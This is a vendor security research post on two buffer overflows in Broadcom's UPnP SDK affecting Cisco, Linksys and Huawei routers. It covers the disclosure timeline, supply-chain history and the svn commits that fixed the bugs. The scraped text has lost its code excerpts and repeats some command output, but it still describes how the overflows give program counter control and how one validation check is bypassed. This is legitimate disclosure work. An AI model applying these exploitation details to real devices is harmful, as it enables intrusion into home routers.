The UPnP discovery protocol relies on Simple Service Discovery Protocol (SSDP), a UDP protocol using the HTTP message format. Two kinds of messages can be sent over SSDP: Handling of SSDP requests is implemented by . The SSDP handling code defines a array: This array matches the HTTP verb from the incoming SSDP message () to a specific handler (). In , headers , , and are parsed successively. On line 31, the code checks whether the header starts with . If it does, an insecure call to is made on line 35 to copy the rest of that header line into a fixed sized buffer (): This bug is fully exploitable given that we control the program counter. In the example below, we demonstrate that we control registers through on an ARM-based target.   We developed a quick proof-of-concept for that bug with Metasploit targeting Cisco RV130, based on our . You can see the exploit in action below. The UPnP protocol allows local devices to automatically set port forwarding rules for themselves, so that a port they expose internally can be reached from the WAN interface of the device exposing a UPnP service. This is usually done by sending a SOAP request to the UPnP control service. This request should contain the internal client, internal port, remote IP, remote port, protocol, and duration for that rule to live on. This is what a legitimate port mapping request would look like: There’s a heap buffer overflow via the UPnP port mapping function, the overflow happens in a linked list of port mapping entries (). On line 3, a mapping between the SOAP action and its expected argument and handler is defined (excerpt from ): On line 26, is called with arguments parsed from the SOAP envelope: starts by requesting a controller and validates the received protocol from line 23 to 27. It then checks whether that port map is already set on line 30. If the port map is not yet present, a new port map structure is allocated on the port map controller’s port map list (lines 45-75). On lines 89 to 92, four insecure calls to are made, which is the core of this vulnerability: Trigger: Interestingly, this heap overflow can be turned into a stack buffer overflow under specific conditions. This bug is therefore directly exploitable, given that we control the program counter. In the example below, we demonstrate that we control registers through on an ARM-based target. Setting to 0 turns it into a stack buffer overflow, and we can bypass the validation (checking that it corresponds to the WAN IP) by setting a string value rather than a dotted decimal IP value.

Previous Discoveries

https://svn.dd-wrt.com/browser/src/router/upnp/src/ssdp.c?rev=11589#L385https://svn.dd-wrt.com/browser/src/router/upnp/device/InternetGatewayDevice/InternetGatewayDevice.c?rev=11589#L215
strcpy
strcpy
strlcpy
strlcpy
svn blame ssdp.c | grep strlcpy
45724 brainslaye strlcpy(name, st, sizeof(name));
svn blame ssdp.c | grep strlcpy 45724 brainslaye strlcpy(name, st, sizeof(name));
svn blame ssdp.c | grep strlcpy
45724 brainslaye 		strlcpy(name, st, sizeof(name));
svn diff -c 45724
Index: ssdp.c
===================================================================
--- ssdp.c (revision 45723)
+++ ssdp.c (revision 45724)
@@ -382,7 +382,7 @@
/* uuid */
type = MSEARCH_UUID;
st += 5;
- strcpy(name, st);
+ strlcpy(name, st, sizeof(name));
}
else {
/* check advertise_table for specify name. */
svn diff -c 45724 Index: ssdp.c =================================================================== --- ssdp.c (revision 45723) +++ ssdp.c (revision 45724) @@ -382,7 +382,7 @@ /* uuid */ type = MSEARCH_UUID; st += 5; - strcpy(name, st); + strlcpy(name, st, sizeof(name)); } else { /* check advertise_table for specify name. */
svn diff -c 45724
Index: ssdp.c
===================================================================
--- ssdp.c	(revision 45723)
+++ ssdp.c	(revision 45724)
@@ -382,7 +382,7 @@
 		/* uuid */
 		type = MSEARCH_UUID;
 		st += 5;
-		strcpy(name, st);
+		strlcpy(name, st, sizeof(name));
 	}
 	else {
 		/* check advertise_table for specify name. */
svn log -r 45724
------------------------------------------------------------------------
r45724 | brainslayer | 2021-02-09 09:48:07 +0100 (Di, 09 Feb 2021) | 1 line
fix potential stack overflow with modified upnp request
------------------------------------------------------------------------
svn log -r 45724 ------------------------------------------------------------------------ r45724 | brainslayer | 2021-02-09 09:48:07 +0100 (Di, 09 Feb 2021) | 1 line fix potential stack overflow with modified upnp request ------------------------------------------------------------------------
svn log -r 45724
------------------------------------------------------------------------
r45724 | brainslayer | 2021-02-09 09:48:07 +0100 (Di, 09 Feb 2021) | 1 line
fix potential stack overflow with modified upnp request
------------------------------------------------------------------------
https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/
svn blame ./device/InternetGatewayDevice/InternetGatewayDevice.c | grep strlcpy
45725 brainslaye strlcpy(map->remote_host, remote_host, sizeof(map->remote_host));
45725 brainslaye strlcpy(map->protocol, protocol, sizeof(map->protocol));
45725 brainslaye strlcpy(map->internal_client, internal_client, sizeof(map->internal_client));
45725 brainslaye strlcpy(map->description, description, sizeof(map->description));
svn blame ./device/InternetGatewayDevice/InternetGatewayDevice.c | grep strlcpy 45725 brainslaye strlcpy(map->remote_host, remote_host, sizeof(map->remote_host)); 45725 brainslaye strlcpy(map->protocol, protocol, sizeof(map->protocol)); 45725 brainslaye strlcpy(map->internal_client, internal_client, sizeof(map->internal_client)); 45725 brainslaye strlcpy(map->description, description, sizeof(map->description));
svn blame ./device/InternetGatewayDevice/InternetGatewayDevice.c | grep strlcpy
45725 brainslaye 	strlcpy(map->remote_host,        remote_host, sizeof(map->remote_host));
45725 brainslaye 	strlcpy(map->protocol,           protocol, sizeof(map->protocol));
45725 brainslaye 	strlcpy(map->internal_client,    internal_client, sizeof(map->internal_client));
45725 brainslaye 	strlcpy(map->description,        description, sizeof(map->description));
svn log -r 45725
------------------------------------------------------------------------
r45725 | brainslayer | 2021-02-09 10:11:39 +0100 (Di, 09 Feb 2021) | 1 line
rework other potential insecure code
------------------------------------------------------------------------
svn log -r 45725 ------------------------------------------------------------------------ r45725 | brainslayer | 2021-02-09 10:11:39 +0100 (Di, 09 Feb 2021) | 1 line rework other potential insecure code ------------------------------------------------------------------------
svn log -r 45725
------------------------------------------------------------------------
r45725 | brainslayer | 2021-02-09 10:11:39 +0100 (Di, 09 Feb 2021) | 1 line

rework other potential insecure code
------------------------------------------------------------------------
When googling for strings present in the binary, we stumbled upon Broadcom’s source code hosted in DD-WRT’s Subversion repository. This is when things got interesting. We identified the stack buffer overflow in the code at . We identified the heap buffer overflow in the code at . The vulnerability was present in older version but the call recently changed to , which intrigued us. We checked when this change was made: Looked at the commit itself: And the commit message: Then by googling for “DD-WRT stack overflow”, we ended up finding this advisory from SSD Disclosure: . It only mentions DD-WRT, and it doesn't mention the heap buffer overflow. Even though it’s not mentioned in the advisory, DD-WRT maintainers also caught up on the potential heap overflow and fixed it in their branch: Commit message:

Let the Hunt Begin

  • Cisco RV110, RV215, RV130 - Affected by both stack and heap overflows.
  • Linksys devices (E900, E1200, E1500, E2500, E3200) - Affected by heap overflow.
  • Huawei device (B593) - A binary is affected by both issues but it is a leftover artifact.
So, we have two serious vulnerabilities affecting the UPnP implementation that is part of Broadcom’s SDK, but no advisory was ever released about it. The only publication so far mentions DD-WRT. We quickly wrote a vulnerability detection rule and went hunting into our firmware dataset. We identified the following affected devices: Firmware images from Asus and NETGEAR contained a UPnP binary built from Broadcom’s SDK, but both stack and heap overflows were fixed.

Mapping the Supply Chain

Broadcom Upnp Timeline Final.drawio
The diagram below should help you get a better understanding of the complex supply chains. Items marked with a star on top are related to the stack overflow tracked as CVE-2021-27137. In an ideal world, the initial discovery of these issues in 2012/2013 should have been reported to Broadcom, if not by the researchers, then at least by the affected manufacturers. Broadcom would have issued a patch, which in turn would have been applied by all manufacturers relying on Broadcom’s UPnP stack. Instead, the vulnerability still lives on in 2021 - but at least can be identified automatically by IoT Inspector.

Going Upstream

Ralink / Broadcom code similaritiesRalink / Broadcom code similarities (2)
In order to pin down affected vendors, we rely on GitHub’s powerful search engine to identify repositories containing Broadcom’s UPnP code. During the process, we uncovered uncanny similarities between two different SDKs: one from Ralink Tech Inc., released in 2002, and the one under investigation from Broadcom, released mid-2008. While there may not be a hundred ways to write a UPnP service implementation in C, these two implementations make the exact same mistakes at the exact same locations in their codes. Each of them could have made use of insecure C functions at other locations, but they only made them in these two specific functions. We can only speculate if Broadcom took inspiration from Ralink - but if that’s the case, these two UPnP bugs have been alive and well for almost 20 years.    

Conclusion

As awareness for supply chain transparency is on the rise among security experts, this is yet another example of the vast implications of an obscure IoT supply chain. Too often, critical vulnerabilities are the result of an  opaque supply chain for three simple reasons:

  1. On the supplier’s end, insufficient secure software development practices, in particular lack of security testing and code review, resulted in critical security issues to be introduced into Broadcom's SDK. Insufficient communication and lack of public advisories led to downstream vendors to remain unaware of these vulnerabilities although Broadcom patched them.
  2. On the product vendor’s end, we see manufacturers with access to Broadcom's source code (a requirement to build Broadcom SDK binaries for their own platform) who missed to sufficiently validate their supply chain, left the issues unspotted and distributed the vulnerabilities to hundreds of thousands of end customers – leaving them vulnerable to attacks.
  3. But supply chain issues can go upstream, too. During our research, we discovered that security researchers and pen-testers have previously identified issues in devices relying on the Broadcom SDK, but didn’t link these issues to Broadcom directly. This lead to these issues being rediscovered and fixed over a course of a decade, leaving many users vulnerable in the process.

PSIRTS of vendors along a supply chain must start working closer with each other to assure that security issues are reported up and down the supply chain in a timely manner. Then we stand a chance that critical vulnerabilities are addressed before they are exploited by cyber criminals.

Our firmware analysis platform IoT Inspector can support in detecting such crucial supply chain issues. It automatically detects whether a firmware is based on a vulnerable Broadcom SDK. In an effort to making IoT secure, you can verify if you are affected, free of charge.

Timeline

  • 2021-07-02 - We contact Broadcom’s security team to check if they’re aware that CVE-2021-27137 affects their SDK
  • 2021-07-02 - Broadcom confirms it’s not present in their current products and will check if older products are affected
  • 2021-07-03 - We start hunting for affected products and devices.
  • 2021-07-19 - We notify affected vendors (Cisco, Huawei, Linksys) via their respective PSIRTs, and get back to Broadcom asking if they could release some kind of advisory - given that recent models are still affected.
  • 2021-07-19 - Broadcom answers that “The code in question is not used in any current or remotely recent products. The last even remotely similar issues were corrected years ago and customers notified.”
  • 2021-07-23 - We confirm with Huawei analysts that the affected binary is not launched and is a leftover artifact from building the image with Broadcom’s SDK.
  • 2021-08-18 - We contact Linksys a second time, requesting they acknowledge reception of our vulnerability report.
  • 2021-08-18 - Cisco releases an advisory tracking the issues as CVE-2021-34730
  • 2021-10-05 - Releasing this post.
 
Share

About Onekey

ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of the automated ONEKEY Product Cybersecurity & Compliance Platform (OCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

CONTACT:
Sara Fortmann

Senior Marketing Manager
sara.fortmann@onekey.com

euromarcom public relations GmbH
team@euromarcom.de

RELATED RESEARCH ARTICLES

Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6199)
Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6198)
Unblob 2024 Highlights: Sandboxing, Reporting, and Community Milestones

Ready to automate your Product Cybersecurity & Compliance?

Make cybersecurity and compliance efficient and effective with ONEKEY.